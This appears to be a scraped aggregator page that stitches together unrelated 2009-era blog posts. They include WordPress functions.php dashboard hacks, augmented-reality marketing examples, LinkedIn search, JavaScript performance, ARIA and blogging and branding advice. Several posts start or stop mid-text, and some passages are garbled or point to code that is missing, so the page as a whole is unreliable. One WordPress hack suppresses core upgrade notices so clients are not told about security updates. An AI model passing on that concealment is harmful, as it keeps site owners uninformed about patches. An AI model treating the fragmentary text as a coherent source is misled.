Paste the following code in the functions.php file from your theme directory. The following example will remove all menus named in the $restricted array.

function remove_menus () {
global $menu;
		$restricted = array(__('Dashboard'), __('Posts'), __('Media'), __('Links'), __('Pages'), __('Appearance'), __('Tools'), __('Users'), __('Settings'), __('Comments'), __('Plugins'));
		end ($menu);
		while (prev($menu)){
			$value = explode(' ',$menu[key($menu)][0]);
			if(in_array($value[0] != NULL?$value[0]:"" , $restricted)){unset($menu[key($menu)]);}
		}
}
add_action('admin_menu', 'remove_menus');

» Source

Define your own login logo

Although it doesn’t have any importance for the blog performance or usability, most clients will be very happy to see their own logo on the dashboard login page, instead of the classic WordPress logo.
The Custom admin branding plugin can do that for you, as well as the following hack that you just have to paste in your functions.php file.

function my_custom_login_logo() {
    echo '<style type="text/css">
        h1 a { background-image:url('.get_bloginfo('template_directory').'/images/custom-login-logo.gif) !important; }
    </style>';
}

add_action('login_head', 'my_custom_login_logo');

» Source

Replace dashboard logo with yours

Just as a client will love to see their own logo on WordPress login page, there’s no doubt that they’ll enjoy viewing it on the dashboard too.
Simply copy the code below and paste it to your functions.php file.

add_action('admin_head', 'my_custom_logo');

function my_custom_logo() {
   echo '<style type="text/css">
         #header-logo { background-image: url('.get_bloginfo('template_directory').'/images/custom-logo.gif) !important; }</style>';
}

» Source

Disable the “please upgrade now” message

WordPress constantly release new versions. Although for obvious security concerns you should always upgrade; disabling the “Please upgrade now” message on client sites can be a good idea because the client doesn’t necessarily have to know about this, this is a developer’s job.

One more time, nothing hard: paste the code in your functions.php, save it, and it’s all good.

if ( !current_user_can( 'edit_users' ) ) {
  add_action( 'init', create_function( '$a', "remove_action( 'init', 'wp_version_check' );" ), 2 );
  add_filter( 'pre_option_update_core', create_function( '$a', "return null;" ) );
}

» Source

Remove dashboard widgets

Introduced in WordPress 2.7, dashboard widgets can be pretty useful. For example, some can display your Google Analytics stats. Though, sometimes you don’t need it, or at least don’t need some of them.
The code below will allow you to remove WordPress’ dashboard widgets once you paste it in your functions.php file.

function example_remove_dashboard_widgets() {
	// Globalize the metaboxes array, this holds all the widgets for wp-admin
 	global $wp_meta_boxes;

	// Remove the incomming links widget
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);	

	// Remove right now
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}

// Hoook into the 'wp_dashboard_setup' action to register our function
add_action('wp_dashboard_setup', 'example_remove_dashboard_widgets' );

» Source

Add custom widgets to WordPress dashboard

With the previous example, I showed you how easy it is to remove unwanted dashboard widgets. The good news is that creating your own widgets isn’t hard either.
The well-commented code below should be self explanatory. Just insert it in your functions.php, as usual.

function example_dashboard_widget_function() {
	// Display whatever it is you want to show
	echo "Hello World, I'm a great Dashboard Widget";
} 

// Create the function use in the action hook
function example_add_dashboard_widgets() {
	wp_add_dashboard_widget('example_dashboard_widget', 'Example Dashboard Widget', 'example_dashboard_widget_function');
}
// Hoook into the 'wp_dashboard_setup' action to register our other functions
add_action('wp_dashboard_setup', 'example_add_dashboard_widgets' );

» Source

Change WordPress dashboard colors

If you ever wanted to be able to change WordPress dashboard colors (as well as font or even display) without having to edit WordPress core files, you’ll like this hack for sure.
The following example features a basic style change (grey header is replaced by a blue one) but you can easily add as many styles as you wish within the <style> and </style> tags.

function custom_colors() {
   echo '<style type="text/css">#wphead{background:#069}</style>';
}

add_action('admin_head', 'custom_colors');

Provide help messages

If you’re building a site for a client and they have some problems with some parts of the dashboard, a good idea is to provide contextual help to the client.
The following hack will allow you to add a custom help messages for the blog admin. As usual, you only have to paste the code into your functions.php file.

function my_admin_help($text, $screen) {
	// Check we're only on my Settings page
	if (strcmp($screen, MY_PAGEHOOK) == 0 ) {

		$text = 'Here is some very useful information to help you use this plugin...';
		return $text;
	}
	// Let the default WP Dashboard help stuff through on other Admin pages
	return $text;
}

add_action( 'contextual_help', 'my_admin_help' );

» Source

Monitor your server in WordPress dashboard

WordPress dashboard API allow you to do many useful things using dashboard widgets. I recently came across this very useful code: a dashboard widget that allows you to monitor your server directly on WordPress’ dashboard.
Paste the code in your functions.php file, and you’re done.

function slt_PHPErrorsWidget() {
	$logfile = '/home/path/logs/php-errors.log'; // Enter the server path to your logs file here
	$displayErrorsLimit = 100; // The maximum number of errors to display in the widget
	$errorLengthLimit = 300; // The maximum number of characters to display for each error
	$fileCleared = false;
	$userCanClearLog = current_user_can( 'manage_options' );
	// Clear file?
	if ( $userCanClearLog && isset( $_GET["slt-php-errors"] ) && $_GET["slt-php-errors"]=="clear" ) {
		$handle = fopen( $logfile, "w" );
		fclose( $handle );
		$fileCleared = true;
	}
	// Read file
	if ( file_exists( $logfile ) ) {
		$errors = file( $logfile );
		$errors = array_reverse( $errors );
		if ( $fileCleared ) echo '<p><em>File cleared.</em></p>';
		if ( $errors ) {
			echo '<p>'.count( $errors ).' error';
			if ( $errors != 1 ) echo 's';
			echo '.';
			if ( $userCanClearLog ) echo ' [ <b><a href="'.get_bloginfo("url").'/wp-admin/?slt-php-errors=clear" onclick="return confirm(\'Are you sure?\');">CLEAR LOG FILE</a></b> ]';
			echo '</p>';
			echo '<div id="slt-php-errors" style="height:250px;overflow:scroll;padding:2px;background-color:#faf9f7;border:1px solid #ccc;">';
			echo '<ol style="padding:0;margin:0;">';
			$i = 0;
			foreach ( $errors as $error ) {
				echo '<li style="padding:2px 4px 6px;border-bottom:1px solid #ececec;">';
				$errorOutput = preg_replace( '/\[([^\]]+)\]/', '<b>[$1]</b>', $error, 1 );
				if ( strlen( $errorOutput ) > $errorLengthLimit ) {
					echo substr( $errorOutput, 0, $errorLengthLimit ).' [...]';
				} else {
					echo $errorOutput;
				}
				echo '</li>';
				$i++;
				if ( $i > $displayErrorsLimit ) {
					echo '<li style="padding:2px;border-bottom:2px solid #ccc;"><em>More than '.$displayErrorsLimit.' errors in log...</em></li>';
					break;
				}
			}
			echo '</ol></div>';
		} else {
			echo '<p>No errors currently logged.</p>';
		}
	} else {
		echo '<p><em>There was a problem reading the error log file.</em></p>';
	}
}

// Add widgets
function slt_dashboardWidgets() {
	wp_add_dashboard_widget( 'slt-php-errors', 'PHP errors', 'slt_PHPErrorsWidget' );
}
add_action( 'wp_dashboard_setup', 'slt_dashboardWidgets' );

» Source

Remove dashboard widgets according to user role

If you’re owning a multi-user blog, it may be useful to know how to hide some dashboard widgets to keep confidential information in a safe place.
The following code will remove the postcustom meta box for “author” (role 2). To apply the hack on your own blog, just copy the code below and paste it in your functions.php file.

function customize_meta_boxes() {
     //retrieve current user info
     global $current_user;
     get_currentuserinfo();

     //if current user level is less than 3, remove the postcustom meta box
     if ($current_user->user_level < 3)
          remove_meta_box('postcustom','post','normal');
}

add_action('admin_init','customize_meta_boxes');

» Source

Have you checked out the highly recommended Digging into WordPress book by Chris Coyier and Jeff Starr?

10 WordPress dashboard hacks

Go to Source

Visuals are an important part of advertising, so it’s not surprising that so many companies have jumped on the augmented reality bandwagon, offering tools that visualize their products in a magical and memorable way.

Here we take a look at some pretty amazing promotional uses of this new tech that work with common webcams, giving everyone a chance to experience augmented reality — a trend that will be big in 2010.

1. BMW Z4

---

This BMW interpretation ties in with a TV ad that sees artist Robin Rhode using the Z4 as a giant paintbrush (think big-scale finger-painting with the car’s tyres). Downloading the software, printing out the 3D symbol and holding it up to your webcam will allow you to see your own miniature Z4 on your screen, which you can then drive around using keyboard commands, creating your own Rhode-esque car painting.

2. TOPPS 3D LIVE Trading Cards

---

Taking the trading card into the 21st century, the Topps “3D LIVE” range offers baseball (and now also football) stars that leap from the special cards onto your desk, as viewed via webcam. As well as creating miniature holographic representations of the players — a neat enough trick that would impress most kids — the concept is taken a step further with the angle that you can control the player’s signature moves via your keyboard.

3. Transformers: Revenge of the Fallen

---

As well as augmented reality, this example uses clever face-tracking technology to stick the original 3D CGI head of Optimus Prime atop your own visage. The campaign to promote “Transformers: Revenge of the Fallen” also includes a hidden holographic message from Bumblebee, again developed using the original 3D model of the robot that appeared in the movie, suggesting CGI films may be ripe for more AR apps in the future.

4. Doritos Sweet Chilli Chips

---

What we like about Doritos’ take on the tech for the Brazilian market is that the webcam code is printed on the back of the chip packet, adding value to something normally disposable. Perhaps this also means less chip bags littering the streets. Holding up the code on the Sweet Chilli chips packets initiates the appearance of a little cartoon character, which can then be used in an extended online game.

5. USPS Priority Mail Virtual Box Simulator

---

Erring on the functional side of promotion, the USPS Priority Mail Virtual Box Simulator is a wickedly clever use of the tech that lets users compare the size of an item they need sent to the size of boxes available from the postal service, by seeing how well their item fits inside a transparent box. Although not particularly high octane excitement, it does illustrate the practical use of AR which is yet to be fully explored.

6. Star Trek

---

These kind of applications work particularly well with a techie audience, or in this instance a Trekkie one. The front cover of certain versions of the Star Trek movie on DVD and Blu-ray doubles as a webcam code to initiate the “cadet orientation” program. It offers a holographic tour around the USS Enterprise (that appears as a hovering apparition on your screen), incorporating a look at the bridge, and best of all, a trigger to fire the ship’s weapons, complete with sound effects.

7. Wrigley’s 5 Gum

---

Created for the launch of Wrigley’s “5″ chewing gum in France (although the site is also available in English) this interactive example of AR sees five symbols (each representing one of the five gum flavors) becoming a different track that only plays when the webcam can “see” it. The desktop DJ experience is probably best explained by watching the demo video above, populated appropriately by masticating teens.

8. Ray-Ban

---

Although many items of apparel can be bought online, sunglasses are one of those tricky products that you really need to try on to ensure you look more chic than geek. Ray-Ban’s Virtual Mirror (ably demonstrated here by YouTuber NickHearne) lets you virtually try on glasses (after a quick bit of face-mapping). The software lets you move your head around to see how the shades look from different angles. Depending on the opacity of the glass, you can even see your eyes through some of the shades. Seeing this app in action makes us think this could be where the real commercial future of AR lies.

9. Lost Valentinos

---

John Mayer, Eminem and Julian Perretta are three other musicians that have dabbled with AR as a way of making their music videos more compelling, but this effort from the Lost Valentinos — with each printable code representing a member of the band to be arranged as you see fit — is a great example of how to keep it tight. In addition, the band’s site doubles as a video gallery for fans to share how they interacted with the AR by uploaded webcam video clips.

10. Always Infinity

---

This time round we’ve saved the worst for last. How best to promote feminine hygiene products? With an augmented reality white bunny of course. We think the world can do without this irrelevant foray into the AR arena that assumes a female audience will be blown away by an incredibly basic application of the tech.

Tags: Augmented Reality, awesome, business, MARKETING

Go to Source

It it configured mostly by dynamic functions which simplifies the usage by allowing for a really compact API.

A standard chart comes with no style but it can be totally customized with CSS (download package includes an example).

Important Info: The charts created work in major browsers. Although the example in the plugin's website doesn't seem to work in IE, the raphael.js file used can be replaced by the latest version of Raphaël JS library which will fix the problem.

Special Downloads:
Ajaxed Add-To-Basket Scenarios With jQuery And PHP
Free Admin Template For Web Applications
jQuery Dynamic Drag’n Drop
ScheduledTweets

Advertisements:
SSLmatic – Cheap SSL Certificates (from $19.99/year)
Follow WebResourcesDepot At Twitter And Get More Resources!

Tags: Javascript

Related posts

• Zoom Script With A Smart Interface: TJPzoom
• YUI Slideshow: Customizable And Animated Slideshows
• Wrap Content Around Images: jQSlickWrap
• What You See Is What You Ajax: WaveMaker
• wForms: Easy JavaScript Form Controls

Go to Source

Go to Source

Business-oriented social network LinkedIn has a new feature out called faceted search. As you search for something or someone, it automatically generates search filters, based on your query results, which let you quickly refine your search.

The filters are based on 8 facets: current company, past company, location, relationship, location, industry, school, and profile languages.

In practice, this means you can create amazingly precise queries. For example, I’ve searched for web designers in the UK, who speak English, who used to work at Yahoo, and who are my first and second connections (meaning, I’m either friends with them directly, or they’re friends of friends). The search results adapt instantly as you apply the filters, making the entire process quick and effortless.

While this is great for LinkedIn, it also reminds me of how plain and unusable Facebook’s search is in comparison. LinkedIn has a solid number of advanced options for its search to begin with; with the new faceted search, it really leaves Facebook’s search in the dust. Wouldn’t it be nice if you could, for example, search Facebook only for friends of friends, living only in Canada? For now, it’s wishful thinking (Facebook does let you filter people search results by school, workplace and location, but the location filter leaves something to be desired; for example, neither “Canada” nor “Zagreb” are viable options.)

Check out a video overview of LinkedIn’s faceted search in the video below.

Tags: facebook, linkedin, Search

Go to Source

… Let’s face it, some people just don’t have that artistic/designers eye.

Play to your Strengths

A long time ago, in a sport far, far away … I once had a coach who one day pulled me aside and said:

“Stef, you’re good at playing to the outside and you can move, but your inside game is really pathetic. So, stop trying to play inside and concentrate on what you’re good at!”

My coach’s advice is to be headed by all and applies to all professions … web design/programming is no exception.

The key to success is to figure out WHAT YOU’RE GOOD AT and then develop those skills to the point where you’re so good, that a shine will begin to radiate off you, and in time, your brilliance will cause people to have to look away … and (more importantly) pay you more money for your work!!

Stefan Mischook
www.killersites.com

Go to Source

What can you use the application for?


Wize.com is a consumer product recommendation site. The site uses proprietary technology to analyze millions of reviews on thousands of products from around the web. The results are returned in an easy to view format, reporting which products are best (Wize Choice) as well as which products are the worst (UnWize Choice). Users can browse the site based on popular tags – for example choosing the best digital camera for beginners – first the user chooses digital cameras, then from the resulting list of tags chooses beginners. This returns a list of the most recommended digital cameras for beginners based on reviews read by the site.

Users can also do natural language keyword searches of the site – for example, What is the best digital camera for beginners? Will produce results similar to browsing tags as in the example above. The site has categories for Electronics, Home and Garden, Health and Beauty, Computers and Office, Video Games. Tools and Hardware and Jewelry and Watches. The site also provides buying guides in a number of categories, for example LCD TV Buyers Guide and Dishwasher Buyers Guide.

What is the history and popularity of the application?


San Mateo, CA-based Wize.com was founded in August 2006 and has undergone continuous growth since launch. The company is currently headed by CEO and President Tom Patterson.

What are the differences to other applications?


Competition to Wize.com comes from sites such as PriceGrabber Shopping.com and NexTag. These sites offer product comparisons based on features specified by the user. These sites primarily concentrate on finding products at the best price, not necessarily the best rated, while Wize.com concentrates on the ratings given in reviews. Additional competition comes from review sites such as Consumer Research and Epinions.com. These sites feature site and user contributed reviews of products.

How does the application look and feel to use?


The Wize.com site has a relatively clean look, but is somewhat cluttered with content and links. Navigation is intuitive, with a tag cloud at the top of the site for browsing as well as a search bar for keyword searches. The categories are also arranged on a convenient top menu bar. The site is quite responsive, and returns search results in a matter of a few seconds. There is advertising displayed on the site, which is somewhat obtrusive.

How does the registration process work?


There is no registration offered to the Wize.com site. All features of the site are available to users without registration.

What does it cost to use the application?


Wize is free to use, there is no premium membership offered to the site.

Who would you recommend the application to?


Wize.com is recommended to anyone who is trying to decide what product to buy. The search algorithms used by the site seem to work quite well in turning up the best rated products as well as the worst. Users can also specify price as one of the filters to search on, so users should be able to quickly find the highest rated products in their budget range. The site is very easy to use, and browsing and searching is very responsive.

Go to Source

For example, the new video commenting feature we have here at Bit Rebels now. Why are people so scared to use it? Well, it seems we like to hide behind our screen name and we pretty much do anything to keep it that way. So, the question really is if we will ever be able to evolve the way social networking is set up today. Social media today is all about connecting by text…really it is.

But, and that’s a big but…and not the one you might think of. What if Facebook’s features was for real. What if we actually did what we can do on Facebook without being embarrassed by the consequences. Well, that day will never come as we are all different and it will take a loooong time for it to change and for people to start thinking of it as the norm. However, if we could fast forward into the future where things really would be all about connecting through video commenting and/or even live through a short message service through video. What would it be like?

Until someone really put some braincells into this I guess we will just have to imagine it. But, there is someone who tried to visualize it and that’s “Idiots of Ants“. This is how Facebook would be in real life. Is this how we want it to be? I guess not…then why are we inventing features like “Poke” for example. Ha Ha. Enjoy!

Go to Source

I wonder if the Spawn people really knew what they were getting into when they decided to make the Spawn HD-720. The box will connect your console to a remote PC, and will allow you to play games on the consoles, via your computer. The applications are limitless, for example , for those business trip nights spent in a hotel room, or possibly if the wife kicks you off the HDTV with the Xbox.

(…)
Read the rest of Introducing the ‘Slingbox Of Games’ [Spawn HD-720 lets you play games over the internet, away from your gaming console]

© TFTS – Technology, Gadgets & Curiosities, 2009. |
Permalink |
No comment |
Add to
del.icio.us

Go to Source

Jake’s slides and research are online.

Optimise Where it Matters

Jake explains the importance of speeding things up where it really matters.

Doug Crockford has pointed out that in Javascript, bitwise operations aren’t close to the hardware, which stands in contrast to other languages. In fact, if you look at it, bitwise operations can still be faster than alternative operations; Jake shows an example where bitwise parsing of hex codes is faster than bitwise. The question is, how much faster. In many cases, such as this example, you’re energy is better spent on optimising big things.

Avoid eval() Where Possible

Jake says avoid eval() where possible. Thinking about what functions eval, here’s a brain teaser: what will the following output?

Wait for it … the answer is “undefined”. Javascript does look ahead and create space for the local variable. So during the running of the function, there’s no need to allocate space for the variable and the browser can optimise for that, but if you use “eval”, the optimisation goes away. So avoid eval().

Prefer innerHTML to DOM

Jake shows a comparison of innerHTML versus DOM Level 1. In IE, DOM manipulation is much slower, because of the sync process between the two. The differential gets even worse when creating elements. Webkit has optimised sync between HTML and DOM, hence less difference, so it’s not as bad, but create example is still slower with DOM. So from a performance perspective, best practice is construct the HTML and use innerHTML.

Selectors

It’s educational to look at the implementation of selector libraries. Jake shows a comparison – IE7 is vastly more slow in this case. It doesn’t support getElementsByClassName, querySelectorAll, evaluate; and it does support getElementById, but that’s not used by sizzle for this query. So getElementsByTagName is all that’s left; and if you knew that, and the implications, you could have made the query much faster.

Benchmarking

Pretty simple.

However, timing isn’t so accurate, so stick it in a function and run it many times.

Too easy … so go benchmark and report your findings.

Go to Source

Can We Do ARIA Today?

Yes.

Firefox and IE (he didn’t say which version) have really good support for ARIA. And Opera, Chrome, and Safari. Likewise for the screenreaders – JAWS, Windows Eyes, NVDA – also have good support. An the libraries – YUI, Dojo, JQuery-UI – all have good support baked in, one of the benefits of using ARIA is automatic support.

Improving Perception – ARIA and Screenreaders

Websites can have problems in perception when rendered with a screenreader; it’s hard to get the big picture about what the words refer to. With ARIA, we can close the gap in perception. This is another example of progressive enhancement – augment the item by adding properties, markup or Javascript if required:

Improving Usability – Keyboard Focus, ARIA, and YUI support

Keyboard access. For some people, it’s a necessity, and for others it’s still an option or preference (think Vim). To support it, you must be able to tab to the element to get focus, so you should control tabbing with tabindex. A good application of controlling tabbing is, amazingly enough, moving through tabs. Another is modal dialogs; the browser doesn’t “know” it’s modal, so we have to control focus to make sure it doesn’t slip out of the thing that’s the only thing users should be able to click on!

Todd shows us just how many steps are required to perform a task in a complex application like Yahoo! mail, using just tabs to navigate through – 19 steps in this example, walking through the toolbar; and even more, when you consider the wider picture of entering the app in the first place. To help with this, he introduces a pattern whereby tabIndexes are updated dynamically to control what comes next, as you move through a toolbar. A negative tabIndex will ensure the element is skipped over.

You can also use the “focus” pseudoclass to ensure focus appearance is consistent for all elements. But, and it’s a big one, it’s not very well supported; even IE8 doesn’t support :focus on <a>, for example. Doing it manually with Javascript has problems, in particular performance. Fortunately, PPK has worked out how to handle focus and blur with event delegation, so that it’s much more performant, and the resulting technique is built into YUI3.

Device-independence with markup was also advocated to further improve accessibility:

Improving Discoverability – ARIA

Essentially, this is about “random access” and keyboard shortcuts; jumping straight to areas in this page and activating them. The key ARIA feature here is “landmark roles” to identify particular points on the page. This is still something where users aren’t aware of the feature, and Todd points out it’s not surprising as most screen reader users are self-taught (just under 75% according to the study he showed). Also, not every user is a geek, and the same applies to screen-reader users.

Go to Source

These are ideas that always seem to work well for me and the other writers here at Bit Rebels. If you stroll through the posts on this site, you’ll find examples of all of these. If you have some post ideas that have worked well for you, please share them in a comment below!

Good luck and happy posting!

1. Write a Follow Up to an Earlier, Popular Post – This article is an example of a follow up. Follow ups work well because they give you an opportunity to go into a topic in more detail. If you write a follow up to an article that was already popular, you know you’ll most likely spark some interest again.

2. Give Away Secrets – Your readers will love it if you give away some of your secrets. Examples of this on Bit Rebels are all of @Minervity’s Photoshop tutorials. I’ve seen designers tweet Richard and say, “Hey man, you are giving away all of our secrets!” And, yes, he is. Give away some valuable information!

3. Interview Someone Interesting – Interviews are great because, if done correctly, they almost always provide captivating content for your readers. You’ll see the interviews on this site all have great page views. The quality of your interview will be based on the quality of your questions.

4. Write a Rant – Ok, this is one I haven’t done myself because I’m not a very good “ranter,” however, rants, if not too negative, typically do very well. My friend, @ShellyKramer, is a great example of someone who rants well and her posts always get great page views. Here is a link to her blog so you can see what I’m referring to: http://v3im.com/blog/

5. Create Digg Bait – My friend, @BuzzEdition, who is very active in the Digg community gave me some great insight. According to her, “Diggers love unique. You simply can’t get by with duplication. Diggers love content, but they don’t want to read it twice. They read more content daily than most people consume in a week, so be brave and try to find a creative way to present a topic. Make them laugh or shock them, but make it brand new!”

We all know that the comments from diggers are the most entertaining, so it’s always fun to intentionally cast that bait into the water. This article of mine has over 1,200 diggs and almost 54,000 views, and it is an example of a good digg article: “How To: Correctly Eat A Chicken Wing http://bit.ly/IHAbp”

6. Create Some Visual Eye Candy – I am a very visually stimulated person. I love browsing Flickr for ideas. I also love writing posts around a photograph that is inspiring to me. This is an example of one of those posts: “20 Ways to Stimulate Your Own Creativity http://retwt.me/1xzG3” I fell in love with that main image that someone obviously spent some time creating in Photoshop. I wrote the post around the image. Remember to give credit for the photo in your post when you try this!

7. Write a Post with a List – I’ve read that psychologically, people are more likely to view the post if there is a number in the title. For example, “5 reasons…” or “8 ways to…” This is the reason that “Top 10 lists” always seem to do well. Try writing a post list style.

8. Write a Strategically Organized Facts/Statistics Post – Many times there are stats and facts about a particular topic that are scattered over many different websites. A person would have to find each one of those sites to get the complete overview of a product or hot topic. If you can organize the information from all those different sites into one useful post, it will do very well. You’ll see some examples of that here on Bit Rebels.

9. Write About An Opinion That You Have That Is Different From The Masses – This type of article always seems to get great page views. For example, I love my Android 2.0 phone much better than my iPhone. It is hands down superior to me. This opinion does not follow the masses, so I plan to write an article with facts to back up my opinion. I’m confident it will do well and I hope it is the catalyst for some great conversations.

10. Write a Post About Post Ideas!

I would like to credit the trial’s photostream for the fabulous” pencils” main image in this post. You can check out his Flickr photostream here: http://www.flickr.com/photos/thetrial

Go to Source

This particular client seemed allergic to cultivating relationships for reasons I never really understood.

I remember one such meeting, I was trying to explain to my client the wisdom of first creating trust and credibility before trying to get a sale. And my client was blocking me at every turn with reasons why relationship development would not work for their business.

It was maddening.

Finally, I cried with exasperation, “Well, why the heck do you want to keep working with me since my approach doesn’t work for you?”

“Because you’re sincere,” the client replied.

“Who cares” I thought to myself since it didn’t seem to be to helping my client grow their business.

Since that time I’ve changed my mind about the quality of sincerity. I think it’s impossible to have sustainably effective marketing without sincerity.

The Importance of Being Sincere

The word, “sincere” is derived from the Latin word, “sincerus,” meaning whole, pure, genuine.

When you think about today’s business climate, sincerity isn’t a quality that comes to mind. But it’s a quality human beings need to perceive to be willing and able to buy.

The Place of Sincerity in Your Marketing

First, it’s important to remember the real role of marketing in your business.

Marketing is NOT about making a sale. Marketing is about creating a relationship based in trust and safety so that a sale can occur.

Regardless of public sentiment towards business, people and companies still have problems that need to be solved and stuff that has to get done. Your prospective customers still need to buy stuff.

They want to be able to trust you because they need to buy what you sell.

The marketing you do is all about establishing visibility and credibility so that there’s enough trust for the purchase to happen.

For example, if you regularly keep in touch with prospects via an ezine, you’re not doing it to “bug” your customers. You’re sending out that ezine because:

• You can remind them that “Hey, I help people just like you solve these kinds of problems.”
• You can offer examples and helpful information about the kind of problems you solve (”Here’s an example of how I helped a customer”)
• Or you provide helpful information for your prospects to better understand what they need to do to improve their situation.

Once prospective customers feel accepted for where they’re at and trust you can actually help, they can then take the next step.

It’s About Sustainable, Effective Marketing

Now there are also some relatively good-hearted entrepreneurs out there who use hard-sell tactics in their marketing. You subscribe to their ezine and get barraged with multiple emails every day telling you about some amazing program you “just gotta check out.”

Here’s what’s important: there is no rest with this kind of marketing. You must work very, very hard to generate this level of noise.

And if you’re spending so much time and energy with your own marketing, it’s tough to put much time or effort into where–in my opinion–we should be making the difference: helping clients and customers get results.

That, to me, is why hype-centered marketing with or without a good heart fails. If you want to market your business in a way that brings in a steady stream of ideal customers without burning yourself into a crispy critter, sincere, heart-centered marketing is the way to go.

Keys to Developing Sincere, Effective, Sustainable Marketing

#1. Ask yourself, “what’s my highest intention for my business?”

What’s the best possible outcome for you, for your business, and for your customer?

Example: the highest intention for Highly Contagious Marketing is when we help clients create marketing that grows their client base and their bottom line.

When that happens, satisfied clients send us referrals which helps Highly Contagious Marketing succeed financially and there are more successful businesses in the world making a positive difference.

#2. Look at how your intention is reflected in your marketing?

Thinking of the many different ways you market your business, how is your intention showing up?

Example: In all the activities to promote Highly Contagious Marketing, I want to:

• Provide information, a how-to, or a resource that gives the person who gets the marketing a little added value
• Provide an offer and a clear call to action for anyone wanting to take the next step and get more help from us.

#3. Ask what one change can you make to your marketing to express your sincere desire to serve customers and make a difference?

Some specific actions you can take to show more sincerity in your marketing include:

• Make your marketing message truly focused on your customer and their current problem. The first half of your message should be about your customer and their situation. If you’re talking about yourself–your solutions and qualifications, your marketing is not focused on the customer.
• Look for ways to leave anyone who encounters your marketing a little better off than they were before the encounter. Marketing that informs, coaches, inspires, even entertains all leave recipients a little better off.
• Make sure your marketing reflects your values and if not, make changes. If you loathe hype in other marketing but use hype because “that’s what everyone says I have to do,” stop using hype. Create marketing that gets results without making you feel like you sold your soul.

Bottom Line

Remember, marketing is all about cultivating trust-based relationships so prospects can buy. And sincerity is a critical factor which enables trust to grow.

Can you market your products and services without sincerity? Sure. But you will have to work a lot harder to sustain sales because you won’t be creating the quality relationships that give your marketing real momentum.

To create marketing in which sincerity shines through, take some time to remember what your business is in service for and take action so that your marketing better reflects what matters to you.

Post from: SiteProNews: Webmaster News & Resources

The ‘Secret Sauce’ for Effective Marketing

Go to Source

A brand is a symbol by that people can use to create, learn, and develop their beliefs about life; a brand is like a culture. The brand is meaningless by itself, but people can use it as a means to represent a set of signs and rules that demonstrate how people differ from one another. If you want your brand to connect with other people then you must provide this brand with a meaning.

It is natural that a company wants to make a profit, but it is also vital that a company has a good understanding about its core values and beliefs. There needs to be awareness about the meaning and value their product has in society and to feel passionate about these products. These values and beliefs need to motivate every decision that the company makes. The beliefs and values are transmitted through the brand, and this is the whole purpose of having a brand.

For the brand message to be successful it must be consistent. Where there is real honesty and sincerity behind a brand this causes customers to be attracted to it and become passionate followers; this is due to the fact that they share the same values and beliefs and feel ownership over them. This leads to the brand becoming part of their identity and the culture surrounding the brand will become part of their life.  For example, if the brand stands for quality and style then the customer will also feel these qualities within themselves and there will now be a strong and meaningful relationship between the brand and the customer.

People are always looking for a feeling of connection and a sense of belonging

People mostly want their life to have meaning and to do the moral thing; they often feel the need to contribute and make a difference in the world. They want to be associated with brands that think about life in the same way as they do. An example of this is free range eggs; people will pay a lot more for a product if it represents their hopes and aspirations.

An example of a company that lives its brand values is Johnston & Johnston. This company really demonstrates a great deal of interest in the welfare of its consumers. These values influence all the decisions the company makes and this has led to a strong sense of loyalty from employees and consumers who want to be associated with the brand.

Related posts:

1. Branding for the green conscious consumer
2. The 5 stages of how a customer experiences your brand
3. The Creation of a Winning Brand

Go to Source

We’re always interested in understanding the habits, preferences, and future trends of Twitter and its users. For example, we were fascinated by a report listing the most engaging celebrities on Twitter, and by a new site that analyzes the 50 hottest brands on Twitter on a daily basis. And as of today, we now know about the most-shared news sources on the microblogging platform.

TweetMeme, the service that finds the most-shared content on Twitter based on retweets (and powers the retweet buttons you always see on Mashable), has just launched the TweetMeme Leaderboard, which lists the news sources that appear most frequently on TweetMeme. It utilizes a ranking system of “Presence,” which factors in the % of time each story appears on TweetMeme and the length of time a source tends to appear on the front page or category pages.

The leaderboard seems to be a great way to gain a quick insight into the sharing habits of users on Twitter. We may have a little bias though, since Mashable is ranked #1 on the TweetMeme leaderboard Regardless, it’s interesting to learn that, for example, TwitPic.com has over 1,000,000 retweets or that Mashable, The Guardian and CNET rank above CNN in terms of Twitter presence.

What do you think of these rankings? Check them out and then let us know in the comments.

[via thenextweb]

Tags: leaderboard, tweetmeme, twitter

Go to Source

I have recently been working on a little out of hours PHP project called “Dummy“. The code is almost complete, apart from the obligatory prettifying of indents and comments, which means it’s time to turn my attention to the online documentation.

As part of the “How to Use” page I need to show small PHP code examples. I also want them to look very readable and be easy to copy and paste. Hand cranking each code snippet using <span>’s, spaces and CSS clearly isn’t the way to go, there has to be an easy way.

Server Side Options

Having used Pygments (a Python syntax highlighter) I had a quick look for PHP server side solutions and found two native PHP functions that could work.

1. highlight_string();
2. highlight_file();

Both produce HTML representations of the PHP code passed to them. However if you need to display JavaScript, HTML or CSS the output will be plain black text, albeit spaced and indented in the way that it was passed to the function. You will also need to deal with escaping certain characters in certain situations and a distinct separation between your HTML template and your code examples.

Client Side Options

My preferred approach would be to include the code examples in the HTML templates and use CSS to make them readable. After a quick Google search I came across SyntaxHighlighter by Alex Gorbatchev. It’s a JavaScript and CSS solution thats’s fully featured, easy to implement and degrades nicely.

Here’s an example of a PHP code snippet using SyntaxHighlighter

It works by including a few JavaScript and CSS files in your HTML template. You can customise the CSS or use one of the seven themes provided.

In order to apply highlighting to a section of HTML it’s recommended to wrap your example in <pre> tags to preserve the formatting. The final stage is to apply a pre-defined relevant CSS class to the <pre> tag.

For example if we wanted our example to be highlighted as PHP we would add class=”brush: php;” to the <pre> tag. To turn it into a JavaScript example we would add class=”brush: jscript;”.

I have set up an example page which shows HTML, CSS, JavaScript, PHP and XML highlighting in action. View the source to see how easy it is to implement.

There’s support for a huge list of languages including:

• ActionScript3
• Bash/shell
• C#
• C++
• CSS
• Delphi
• Diff
• Groovy
• JavaScript
• Java
• JavaFX
• Perl
• PHP
• Plain Text
• PowerShell
• Python
• Ruby
• Scala
• SQL
• Visual Basic
• XML

SyntaxHighlighter also provides a nice pop up tool-tip (look at the right hand side of a code example when hovering over it) enabling you to view the code in a blank page, copy it to the clipboard or print it.

There are undoubtedly other solutions out there, if you have a preferred one that works for you please link it up in the comments.

Go to Source

Ben and Dion have just wrapped up a WebOS talk in London, in conjunction with O2 Litmus. They explained why Palm is using the web as an application platform (might be preaching to the converted on this website!) and covered some of the development issues and roadmap.

Embracing The Web

